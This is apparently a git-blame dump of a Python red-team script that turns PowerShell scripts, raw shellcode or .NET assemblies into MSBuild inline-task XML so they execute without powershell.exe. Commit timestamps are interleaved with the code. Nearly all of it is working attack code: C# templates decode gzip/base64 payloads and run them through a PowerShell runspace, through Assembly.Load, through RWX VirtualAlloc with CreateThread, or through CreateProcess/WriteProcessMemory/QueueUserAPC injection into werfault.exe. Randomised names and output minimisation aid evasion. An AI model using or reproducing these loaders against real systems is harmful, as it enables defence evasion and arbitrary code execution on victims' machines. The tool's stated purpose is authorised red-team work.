2018-02-02 22:22:43 +01:00
#!/usr/bin/python3
#
# Red-Teaming script that will leverage MSBuild technique to convert Powershell input payload or
# .NET/CLR assembly EXE file into inline-task XML file that can be further launched by:
2020-04-30 21:31:12 +02:00
#
2018-02-02 22:22:43 +01:00
# %WINDIR%\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
2020-04-30 21:31:12 +02:00
# or
# %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe
2018-02-02 22:22:43 +01:00
#
2020-04-30 21:31:12 +02:00
# This script can embed following data within constructed CSharp Task:
# - Powershell code
# - raw Shellcode in a separate thread via CreateThread
# - .NET Assembly via Assembly.Load
2018-02-02 22:22:43 +01:00
#
2021-10-24 23:11:42 +02:00
# Mariusz Banach / mgeeky, <mb@binary-offensive.com>
2018-02-02 22:22:43 +01:00
#
import re
2020-04-30 21:31:12 +02:00
import os
2018-02-02 22:22:43 +01:00
import io
import sys
import gzip
import base64
import string
2021-01-20 18:24:47 +01:00
import pefile
2018-02-02 22:22:43 +01:00
import struct
import random
2020-04-30 21:31:12 +02:00
import binascii
2018-02-02 22:22:43 +01:00
import argparse
2021-01-13 14:16:09 +01:00
def getCompressedPayload ( filePath , returnRaw = False ) :
2018-02-02 22:22:43 +01:00
out = io . BytesIO ( )
encoded = ' '
with open ( filePath , ' rb ' ) as f :
inp = f . read ( )
with gzip . GzipFile ( fileobj = out , mode = ' w ' ) as fo :
fo . write ( inp )
encoded = base64 . b64encode ( out . getvalue ( ) )
2021-01-13 14:16:09 +01:00
if returnRaw :
return encoded
2018-02-02 22:22:43 +01:00
powershell = " $s = New-Object IO.MemoryStream(, [Convert]::FromBase64String( ' {} ' )); IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s, [IO.Compression.CompressionMode]::Decompress))).ReadToEnd(); " . format (
encoded . decode ( )
)
return powershell
2021-01-13 14:16:09 +01:00
def getPayloadCode ( payload ) :
return f ' shellcode = " { payload } " ; '
2020-04-30 21:31:12 +02:00
2021-01-13 14:16:09 +01:00
payloadCode = ' \n '
N = 50000
codeSlices = map ( lambda i : payload [ i : i + N ] , range ( 0 , len ( payload ) , N ) )
variables = [ ]
num = 1
for code in codeSlices :
payloadCode + = f ' string shellcode { num } = " { code } " ; \n '
variables . append ( f ' shellcode { num } ' )
num + = 1
concat = ' shellcode = ' + ' + ' . join ( variables ) + ' ; \n '
payloadCode + = concat
return payloadCode
def getInlineTask ( module , payload , _format , apc , targetProcess ) :
2018-02-02 22:22:43 +01:00
templateName = ' ' . join ( random . choice ( string . ascii_letters ) for x in range ( random . randint ( 5 , 15 ) ) )
2021-01-13 14:16:09 +01:00
if len ( module ) > 0 :
templateName = module
2018-02-02 22:22:43 +01:00
taskName = ' ' . join ( random . choice ( string . ascii_letters ) for x in range ( random . randint ( 5 , 15 ) ) )
2021-01-13 14:16:09 +01:00
payloadCode = getPayloadCode ( payload . decode ( ) )
2020-04-30 21:31:12 +02:00
launchCode = ' '
if _format == ' exe ' :
2021-01-13 14:16:09 +01:00
exeLaunchCode = string . Template ( ''' <Task>
< Reference Include = " System.Management.Automation " / >
< Code Type = " Class " Language = " cs " >
< ! [ CDATA [
2021-01-20 18:24:47 +01:00
using System . Management . Automation ;
using System . Management . Automation . Runspaces ;
using Microsoft . Build . Framework ;
using Microsoft . Build . Utilities ;
2021-01-13 14:16:09 +01:00
using System ;
2021-01-20 18:24:47 +01:00
using System . Diagnostics ;
2021-01-13 14:16:09 +01:00
using System . Reflection ;
2021-01-20 18:24:47 +01:00
using System . Runtime . InteropServices ;
using System . IO ;
using System . IO . Compression ;
2021-01-13 14:16:09 +01:00
using System . Text ;
public class $ templateName : Task {
public static byte [ ] DecompressString ( string compressedText ) {
byte [ ] data = Convert . FromBase64String ( compressedText ) ;
using ( var ms = new MemoryStream ( data ) ) {
using ( var gzip = new GZipStream ( ms , CompressionMode . Decompress ) ) {
using ( var decompressed = new MemoryStream ( ) ) {
gzip . CopyTo ( decompressed ) ;
return decompressed . ToArray ( ) ;
}
}
}
}
public override bool Execute ( ) {
string shellcode = " " ;
$ payloadCode
byte [ ] payload = DecompressString ( shellcode ) ;
Assembly asm = Assembly . Load ( payload ) ;
2020-04-30 21:31:12 +02:00
MethodInfo method = asm . EntryPoint ;
object instance = asm . CreateInstance ( method . Name ) ;
2021-01-20 18:24:47 +01:00
method . Invoke ( instance , new object [ ] { new string [ ] { } } ) ;
2021-01-13 14:16:09 +01:00
return true ;
}
}
2020-04-30 21:31:12 +02:00
] ] >
2021-01-13 14:16:09 +01:00
< / Code >
< / Task > ''' ).safe_substitute(
2021-01-20 18:24:47 +01:00
payloadCode = payloadCode ,
templateName = templateName
2020-04-30 21:31:12 +02:00
)
launchCode = exeLaunchCode
elif _format == ' raw ' :
2021-01-13 14:16:09 +01:00
shellcodeLoader = ' '
2020-04-30 21:31:12 +02:00
2021-01-13 14:16:09 +01:00
if not apc :
shellcodeLoader = string . Template ( ''' <Task>
2020-04-30 21:31:12 +02:00
< Reference Include = " System.Management.Automation " / >
< Code Type = " Class " Language = " cs " >
< ! [ CDATA [
using System . Management . Automation ;
using System . Management . Automation . Runspaces ;
using Microsoft . Build . Framework ;
using Microsoft . Build . Utilities ;
using System ;
using System . Diagnostics ;
using System . Reflection ;
using System . Runtime . InteropServices ;
2021-01-13 14:16:09 +01:00
using System . IO ;
using System . IO . Compression ;
2021-01-20 18:24:47 +01:00
using System . Text ;
2020-04-30 21:31:12 +02:00
public class $ templateName : Task {
[ DllImport ( " kernel32 " ) ]
private static extern IntPtr VirtualAlloc ( IntPtr lpAddress , UIntPtr dwSize , UInt32 flAllocationType , UInt32 flProtect ) ;
[ DllImport ( " kernel32 " ) ]
private static extern bool VirtualFree ( IntPtr lpAddress , UInt32 dwSize , UInt32 dwFreeType ) ;
[ DllImport ( " kernel32 " ) ]
private static extern IntPtr CreateThread ( UInt32 lpThreadAttributes , UInt32 dwStackSize , IntPtr lpStartAddress , IntPtr param , UInt32 dwCreationFlags , ref UInt32 lpThreadId ) ;
[ DllImport ( " kernel32 " ) ]
private static extern bool CloseHandle ( IntPtr hHandle ) ;
[ DllImport ( " kernel32 " ) ]
private static extern UInt32 WaitForSingleObject ( IntPtr hHandle , UInt32 dwMilliseconds ) ;
private static UInt32 MEM_COMMIT = 0x1000 ;
private static UInt32 PAGE_EXECUTE_READWRITE = 0x40 ;
private static UInt32 MEM_RELEASE = 0x8000 ;
2021-01-13 14:16:09 +01:00
public static byte [ ] DecompressString ( string compressedText ) {
byte [ ] data = Convert . FromBase64String ( compressedText ) ;
using ( var ms = new MemoryStream ( data ) ) {
using ( var gzip = new GZipStream ( ms , CompressionMode . Decompress ) ) {
using ( var decompressed = new MemoryStream ( ) ) {
gzip . CopyTo ( decompressed ) ;
return decompressed . ToArray ( ) ;
}
}
}
}
2020-04-30 21:31:12 +02:00
public override bool Execute ( ) {
2021-01-13 14:16:09 +01:00
string shellcode = " " ;
$ payloadCode
byte [ ] payload = DecompressString ( shellcode ) ;
2020-04-30 21:31:12 +02:00
IntPtr funcAddr = VirtualAlloc ( IntPtr . Zero , ( UIntPtr ) payload . Length , MEM_COMMIT , PAGE_EXECUTE_READWRITE ) ;
Marshal . Copy ( payload , 0 , funcAddr , payload . Length ) ;
IntPtr hThread = IntPtr . Zero ;
UInt32 threadId = 0 ;
hThread = CreateThread ( 0 , 0 , funcAddr , IntPtr . Zero , 0 , ref threadId ) ;
WaitForSingleObject ( hThread , 0xFFFFFFFF ) ;
CloseHandle ( hThread ) ;
VirtualFree ( funcAddr , 0 , MEM_RELEASE ) ;
return true ;
}
}
] ] >
2021-01-13 14:16:09 +01:00
< / Code >
< / Task > ''' ).safe_substitute(
templateName = templateName ,
payloadCode = payloadCode
)
else :
#
# The below MSBuild template comes from:
# https://github.com/infosecn1nja/MaliciousMacroMSBuild
#
shellcodeLoader = string . Template ( ''' <Task>
< Code Type = " Class " Language = " cs " >
< ! [ CDATA [
using System ;
using System . Reflection ;
using Microsoft . CSharp ;
using Microsoft . Build . Framework ;
using Microsoft . Build . Utilities ;
using System . Diagnostics ;
using System . Runtime . InteropServices ;
using System . IO ;
using System . IO . Compression ;
using System . Text ;
public class $ templateName : Task , ITask
{
public static byte [ ] DecompressString ( string compressedText ) {
byte [ ] data = Convert . FromBase64String ( compressedText ) ;
using ( var ms = new MemoryStream ( data ) ) {
using ( var gzip = new GZipStream ( ms , CompressionMode . Decompress ) ) {
using ( var decompressed = new MemoryStream ( ) ) {
gzip . CopyTo ( decompressed ) ;
return decompressed . ToArray ( ) ;
}
}
}
}
public override bool Execute ( ) {
string shellcode = " " ;
$ payloadCode
byte [ ] payload = DecompressString ( shellcode ) ;
string processpath = Environment . ExpandEnvironmentVariables ( @ " $targetProcess " ) ;
STARTUPINFO si = new STARTUPINFO ( ) ;
PROCESS_INFORMATION pi = new PROCESS_INFORMATION ( ) ;
bool success = CreateProcess ( null , processpath ,
IntPtr . Zero , IntPtr . Zero , false ,
ProcessCreationFlags . CREATE_SUSPENDED ,
IntPtr . Zero , null , ref si , out pi ) ;
IntPtr resultPtr = VirtualAllocEx ( pi . hProcess , IntPtr . Zero , payload . Length , MEM_COMMIT , PAGE_READWRITE ) ;
IntPtr bytesWritten = IntPtr . Zero ;
bool resultBool = WriteProcessMemory ( pi . hProcess , resultPtr , payload , payload . Length , out bytesWritten ) ;
IntPtr sht = OpenThread ( ThreadAccess . SET_CONTEXT , false , ( int ) pi . dwThreadId ) ;
uint oldProtect = 0 ;
resultBool = VirtualProtectEx ( pi . hProcess , resultPtr , payload . Length , PAGE_EXECUTE_READ , out oldProtect ) ;
IntPtr ptr = QueueUserAPC ( resultPtr , sht , IntPtr . Zero ) ;
IntPtr ThreadHandle = pi . hThread ;
ResumeThread ( ThreadHandle ) ;
return true ;
}
private static UInt32 MEM_COMMIT = 0x1000 ;
private static UInt32 PAGE_EXECUTE_READWRITE = 0x40 ;
private static UInt32 PAGE_READWRITE = 0x04 ;
private static UInt32 PAGE_EXECUTE_READ = 0x20 ;
[ Flags ]
public enum ProcessAccessFlags : uint
{
All = 0x001F0FFF ,
Terminate = 0x00000001 ,
CreateThread = 0x00000002 ,
VirtualMemoryOperation = 0x00000008 ,
VirtualMemoryRead = 0x00000010 ,
VirtualMemoryWrite = 0x00000020 ,
DuplicateHandle = 0x00000040 ,
CreateProcess = 0x000000080 ,
SetQuota = 0x00000100 ,
SetInformation = 0x00000200 ,
QueryInformation = 0x00000400 ,
QueryLimitedInformation = 0x00001000 ,
Synchronize = 0x00100000
}
[ Flags ]
public enum ProcessCreationFlags : uint
{
ZERO_FLAG = 0x00000000 ,
CREATE_BREAKAWAY_FROM_JOB = 0x01000000 ,
CREATE_DEFAULT_ERROR_MODE = 0x04000000 ,
CREATE_NEW_CONSOLE = 0x00000010 ,
CREATE_NEW_PROCESS_GROUP = 0x00000200 ,
CREATE_NO_WINDOW = 0x08000000 ,
CREATE_PROTECTED_PROCESS = 0x00040000 ,
CREATE_PRESERVE_CODE_AUTHZ_LEVEL = 0x02000000 ,
CREATE_SEPARATE_WOW_VDM = 0x00001000 ,
CREATE_SHARED_WOW_VDM = 0x00001000 ,
CREATE_SUSPENDED = 0x00000004 ,
CREATE_UNICODE_ENVIRONMENT = 0x00000400 ,
DEBUG_ONLY_THIS_PROCESS = 0x00000002 ,
DEBUG_PROCESS = 0x00000001 ,
DETACHED_PROCESS = 0x00000008 ,
EXTENDED_STARTUPINFO_PRESENT = 0x00080000 ,
INHERIT_PARENT_AFFINITY = 0x00010000
}
public struct PROCESS_INFORMATION
{
public IntPtr hProcess ;
public IntPtr hThread ;
public uint dwProcessId ;
public uint dwThreadId ;
}
public struct STARTUPINFO
{
public uint cb ;
public string lpReserved ;
public string lpDesktop ;
public string lpTitle ;
public uint dwX ;
public uint dwY ;
public uint dwXSize ;
public uint dwYSize ;
public uint dwXCountChars ;
public uint dwYCountChars ;
public uint dwFillAttribute ;
public uint dwFlags ;
public short wShowWindow ;
public short cbReserved2 ;
public IntPtr lpReserved2 ;
public IntPtr hStdInput ;
public IntPtr hStdOutput ;
public IntPtr hStdError ;
}
[ Flags ]
public enum ThreadAccess : int
{
TERMINATE = ( 0x0001 ) ,
SUSPEND_RESUME = ( 0x0002 ) ,
GET_CONTEXT = ( 0x0008 ) ,
SET_CONTEXT = ( 0x0010 ) ,
SET_INFORMATION = ( 0x0020 ) ,
QUERY_INFORMATION = ( 0x0040 ) ,
SET_THREAD_TOKEN = ( 0x0080 ) ,
IMPERSONATE = ( 0x0100 ) ,
DIRECT_IMPERSONATION = ( 0x0200 )
}
[ DllImport ( " kernel32.dll " , SetLastError = true ) ]
public static extern IntPtr OpenThread ( ThreadAccess dwDesiredAccess , bool bInheritHandle ,
int dwThreadId ) ;
[ DllImport ( " kernel32.dll " , SetLastError = true ) ]
public static extern bool WriteProcessMemory (
IntPtr hProcess ,
IntPtr lpBaseAddress ,
byte [ ] lpBuffer ,
int nSize ,
out IntPtr lpNumberOfBytesWritten ) ;
[ DllImport ( " kernel32.dll " ) ]
public static extern IntPtr QueueUserAPC ( IntPtr pfnAPC , IntPtr hThread , IntPtr dwData ) ;
[ DllImport ( " kernel32 " ) ]
public static extern IntPtr VirtualAlloc ( UInt32 lpStartAddr ,
Int32 size , UInt32 flAllocationType , UInt32 flProtect ) ;
[ DllImport ( " kernel32.dll " , SetLastError = true ) ]
public static extern IntPtr VirtualAllocEx ( IntPtr hProcess , IntPtr lpAddress ,
Int32 dwSize , UInt32 flAllocationType , UInt32 flProtect ) ;
[ DllImport ( " kernel32.dll " , SetLastError = true ) ]
public static extern IntPtr OpenProcess (
ProcessAccessFlags processAccess ,
bool bInheritHandle ,
int processId
) ;
[ DllImport ( " kernel32.dll " ) ]
public static extern bool CreateProcess ( string lpApplicationName , string lpCommandLine , IntPtr lpProcessAttributes , IntPtr lpThreadAttributes ,
bool bInheritHandles , ProcessCreationFlags dwCreationFlags , IntPtr lpEnvironment ,
string lpCurrentDirectory , ref STARTUPINFO lpStartupInfo , out PROCESS_INFORMATION lpProcessInformation ) ;
[ DllImport ( " kernel32.dll " ) ]
public static extern uint ResumeThread ( IntPtr hThread ) ;
[ DllImport ( " kernel32.dll " ) ]
public static extern uint SuspendThread ( IntPtr hThread ) ;
[ DllImport ( " kernel32.dll " ) ]
public static extern bool VirtualProtectEx ( IntPtr hProcess , IntPtr lpAddress ,
int dwSize , uint flNewProtect , out uint lpflOldProtect ) ;
}
] ] >
< / Code >
< / Task > ''' ).safe_substitute(
2020-04-30 21:31:12 +02:00
templateName = templateName ,
2021-01-13 14:16:09 +01:00
payloadCode = payloadCode ,
targetProcess = targetProcess
2020-04-30 21:31:12 +02:00
)
launchCode = shellcodeLoader
else :
powershellLaunchCode = string . Template ( ''' <Task>
2018-02-02 22:22:43 +01:00
< Reference Include = " System.Management.Automation " / >
< Code Type = " Class " Language = " cs " >
< ! [ CDATA [
2021-01-13 14:16:09 +01:00
using System . IO ;
using System . IO . Compression ;
2018-02-02 22:22:43 +01:00
using System . Management . Automation ;
using System . Management . Automation . Runspaces ;
using Microsoft . Build . Framework ;
using Microsoft . Build . Utilities ;
2021-01-13 14:16:09 +01:00
using System . Text ;
2018-02-02 22:22:43 +01:00
public class $ templateName : Task {
2021-01-13 14:16:09 +01:00
public static byte [ ] DecompressString ( string compressedText ) {
byte [ ] data = Convert . FromBase64String ( compressedText ) ;
using ( var ms = new MemoryStream ( data ) ) {
using ( var gzip = new GZipStream ( ms , CompressionMode . Decompress ) ) {
using ( var decompressed = new MemoryStream ( ) ) {
gzip . CopyTo ( decompressed ) ;
return decompressed . ToArray ( ) ;
}
}
}
}
2018-02-02 22:22:43 +01:00
public override bool Execute ( ) {
2021-01-13 14:16:09 +01:00
string shellcode = " " ;
$ payloadCode
byte [ ] payload = DecompressString ( shellcode ) ;
2018-02-02 22:22:43 +01:00
string decoded = System . Text . Encoding . UTF8 . GetString ( payload ) ;
Runspace runspace = RunspaceFactory . CreateRunspace ( ) ;
runspace . Open ( ) ;
Pipeline pipeline = runspace . CreatePipeline ( ) ;
pipeline . Commands . AddScript ( decoded ) ;
pipeline . Invoke ( ) ;
runspace . Close ( ) ;
return true ;
}
}
] ] >
2021-01-13 14:16:09 +01:00
< / Code >
< / Task > ''' ).safe_substitute(
2020-04-30 21:31:12 +02:00
templateName = templateName ,
2021-01-13 14:16:09 +01:00
payloadCode = payloadCode
2020-04-30 21:31:12 +02:00
)
2018-02-02 22:22:43 +01:00
2020-04-30 21:31:12 +02:00
launchCode = powershellLaunchCode
2018-02-02 22:22:43 +01:00
template = string . Template ( ''' <Project xmlns= " http://schemas.microsoft.com/developer/msbuild/2003 " >
2020-04-30 21:31:12 +02:00
< ! - - Based on Casey Smith work , Twitter : @subTee - - >
< ! - - Automatically generated using ` generateMSBuildXML . py ` utility - - >
2021-10-24 23:11:42 +02:00
< ! - - by Mariusz Banach / mgeeky < mb @binary - offensive . com > - - >
2018-02-02 22:22:43 +01:00
< Target Name = " $taskName " >
< $ templateName / >
< / Target >
< UsingTask TaskName = " $templateName " TaskFactory = " CodeTaskFactory "
AssemblyFile = " C: \\ Windows \\ Microsoft.Net \\ Framework \\ v4.0.30319 \\ Microsoft.Build.Tasks.v4.0.dll " >
$ launchCode
< / UsingTask >
< / Project > ''' ).safe_substitute(
taskName = taskName ,
templateName = templateName ,
launchCode = launchCode
)
return template
def detectFileIsExe ( filePath , forced = False ) :
2021-01-20 18:24:47 +01:00
try :
pe = pefile . PE ( filePath )
return True
except pefile . PEFormatError as e :
2018-02-02 22:22:43 +01:00
return False
def minimize ( output ) :
output = re . sub ( r ' \ s* \ < \ ! \ - \ - .* \ - \ - \ > \ s* \ n ' , ' ' , output )
output = output . replace ( ' \n ' , ' ' )
output = re . sub ( r ' \ s { 2,} ' , ' ' , output )
output = re . sub ( r ' \ s+([^ \ w]) \ s+ ' , r ' \ 1 ' , output )
output = re . sub ( r ' ([^ \ w " ]) \ s+ ' , r ' \ 1 ' , output )
variables = {
' payload ' : ' x ' ,
' method ' : ' m ' ,
' asm ' : ' a ' ,
' instance ' : ' o ' ,
' pipeline ' : ' p ' ,
' runspace ' : ' r ' ,
2020-04-30 21:31:12 +02:00
' decoded ' : ' d ' ,
' MEM_COMMIT ' : ' c1 ' ,
' PAGE_EXECUTE_READWRITE ' : ' c2 ' ,
' MEM_RELEASE ' : ' c3 ' ,
' funcAddr ' : ' v1 ' ,
' hThread ' : ' v2 ' ,
' threadId ' : ' v3 ' ,
' lpAddress ' : ' p1 ' ,
' dwSize ' : ' p2 ' ,
' flAllocationType ' : ' p3 ' ,
' flProtect ' : ' p4 ' ,
' dwFreeType ' : ' p5 ' ,
' lpThreadAttributes ' : ' p6 ' ,
' dwStackSize ' : ' p7 ' ,
' lpStartAddress ' : ' p8 ' ,
' param ' : ' p9 ' ,
' dwCreationFlags ' : ' p10 ' ,
' lpThreadId ' : ' p11 ' ,
' dwMilliseconds ' : ' p12 ' ,
' hHandle ' : ' p13 ' ,
2021-01-13 14:16:09 +01:00
' processpath ' : ' p14 ' ,
' shellcode ' : ' p15 ' ,
' resultPtr ' : ' p16 ' ,
' bytesWritten ' : ' p17 ' ,
' resultBool ' : ' p18 ' ,
' ThreadHandle ' : ' p19 ' ,
' PAGE_READWRITE ' : ' p20 ' ,
' PAGE_EXECUTE_READ ' : ' p21 ' ,
2018-02-02 22:22:43 +01:00
}
2021-01-13 14:16:09 +01:00
# Variables renaming tends to corrupt Base64 streams.
#for k, v in variables.items():
# output = output.replace(k, v)
2018-02-02 22:22:43 +01:00
return output
def opts ( argv ) :
parser = argparse . ArgumentParser ( prog = argv [ 0 ] , usage = ' %(prog)s [options] <inputFile> ' )
2020-04-30 22:54:36 +02:00
parser . add_argument ( ' inputFile ' , help = ' Input file to be encoded within XML. May be either Powershell script, raw binary Shellcode or .NET Assembly (PE/EXE) file. ' )
2021-01-13 14:16:09 +01:00
parser . add_argument ( ' -o ' , ' --output ' , metavar = ' PATH ' , default = ' ' , type = str , help = ' Output path where to write generated script. Default: stdout ' )
parser . add_argument ( ' -n ' , ' --module ' , metavar = ' NAME ' , default = ' ' , type = str , help = ' Specifies custom C# module name for the generated Task (for needs of shellcode loaders such as DotNetToJScript or Donut). Default: auto generated name. ' )
2018-02-02 22:22:43 +01:00
parser . add_argument ( ' -m ' , ' --minimize ' , action = ' store_true ' , help = ' Minimize the output XML file. ' )
parser . add_argument ( ' -b ' , ' --encode ' , action = ' store_true ' , help = ' Base64 encode output XML file. ' )
2021-01-13 14:16:09 +01:00
parser . add_argument ( ' -e ' , ' --exe ' , action = ' store_true ' ,
help = ' Specified input file is an Mono/.Net assembly PE/EXE. WARNING: Launching EXE is currently possible ONLY WITH MONO/.NET assembly EXE/DLL files, not an ordinary native PE/EXE! ' )
parser . add_argument ( ' -r ' , ' --raw ' , action = ' store_true ' , help = ' Specified input file is a raw Shellcode to be injected in self process in a separate Thread (VirtualAlloc + CreateThread) ' )
parser . add_argument ( ' --queue-apc ' , action = ' store_true ' ,
help = ' If --raw was specified, generate C# code template with CreateProcess + WriteProcessMemory + QueueUserAPC process injection technique instead of default CreateThread. ' )
parser . add_argument ( ' --target-process ' , metavar = ' PATH ' , default = r ' % windir % \ system32 \ werfault.exe ' ,
help = r ' This option specifies target process path for remote process injection in --queue-apc technique. May use environment variables. May also contain command line for spawned process, example: --target-process " %% windir %% \ system32 \ werfault.exe -l -u 1234 " ' )
parser . add_argument ( ' --only-csharp ' , action = ' store_true ' , help = ' Return generated C# code instead of MSBuild \' s XML. ' )
2018-02-02 22:22:43 +01:00
args = parser . parse_args ( )
2020-04-30 21:31:12 +02:00
if args . exe and args . raw :
sys . stderr . write ( ' [!] --exe and --raw options are mutually exclusive! \n ' )
sys . exit ( - 1 )
2021-01-13 14:16:09 +01:00
args . target_process = args . target_process . replace ( " ^ % " , ' % ' )
2018-02-02 22:22:43 +01:00
return args
def main ( argv ) :
sys . stderr . write ( '''
: : Powershell via MSBuild inline - task XML payload generation script
To be used during Red - Team assignments to launch Powershell payloads without using ' powershell.exe '
2021-10-24 23:11:42 +02:00
Mariusz Banach / mgeeky , < mb @binary - offensive . com >
2018-02-02 22:22:43 +01:00
''' )
if len ( argv ) < 2 :
2021-01-13 14:16:09 +01:00
print ( ' Usage: ./generateMSBuildXML.py [options] <inputFile> ' )
2018-02-02 22:22:43 +01:00
sys . exit ( - 1 )
args = opts ( argv )
2020-04-30 21:31:12 +02:00
_format = ' powershell '
2018-02-02 22:22:43 +01:00
2021-01-20 18:24:47 +01:00
if len ( args . inputFile ) > 0 and not os . path . isfile ( args . inputFile ) :
sys . stderr . write ( ' [?] Input file does not exists. \n \n ' )
return False
2020-04-30 21:31:12 +02:00
if args . exe :
if not detectFileIsExe ( args . inputFile , args . exe ) :
sys . stderr . write ( ' [?] File not recognized as PE/EXE. \n \n ' )
return False
_format = ' exe '
2018-02-02 22:22:43 +01:00
sys . stderr . write ( ' [?] File recognized as PE/EXE. \n \n ' )
with open ( args . inputFile , ' rb ' ) as f :
payload = f . read ( )
2020-04-30 21:31:12 +02:00
elif args . raw :
_format = ' raw '
sys . stderr . write ( ' [?] File specified as raw Shellcode. \n \n ' )
with open ( args . inputFile , ' rb ' ) as f :
payload = f . read ( )
2018-02-02 22:22:43 +01:00
else :
sys . stderr . write ( ' [?] File not recognized as PE/EXE. \n \n ' )
if args . inputFile . endswith ( ' .exe ' ) :
return False
2021-01-13 14:16:09 +01:00
payload = getCompressedPayload ( args . inputFile , _format != ' powershell ' )
output = getInlineTask ( args . module , payload , _format , args . queue_apc , args . target_process )
2018-02-02 22:22:43 +01:00
2021-01-13 14:16:09 +01:00
if args . only_csharp :
m = re . search ( r ' \ < \ ! \ [CDATA \ [(.+) \ ] \ ] \ > ' , output , re . M | re . S )
if m :
output = m . groups ( 0 ) [ 0 ]
2018-02-02 22:22:43 +01:00
if args . minimize :
output = minimize ( output )
if args . encode :
2021-01-13 14:16:09 +01:00
if len ( args . output ) > 0 :
with open ( args . output , ' w ' ) as f :
f . write ( base64 . b64encode ( output ) )
else :
print ( base64 . b64encode ( output ) )
2018-02-02 22:22:43 +01:00
else :
2021-01-13 14:16:09 +01:00
if len ( args . output ) > 0 :
with open ( args . output , ' w ' ) as f :
f . write ( output )
else :
print ( output )
2018-02-02 22:22:43 +01:00
2020-04-30 21:31:12 +02:00
msbuildPath = r ' % WINDIR % \ Microsoft.NET \ Framework \ v4.0.30319 \ MSBuild.exe '
if ' PROGRAMFILES(X86) ' in os . environ :
msbuildPath = r ' % WINDIR % \ Microsoft.NET \ Framework64 \ v4.0.30319 \ MSBuild.exe '
sys . stderr . write ( '''
== == == == == == == == == == == == == == == == == == =
Execute this XML file like so :
{ } file . xml
''' .format(msbuildPath))
2018-02-02 22:22:43 +01:00
if __name__ == ' __main__ ' :
main ( sys . argv )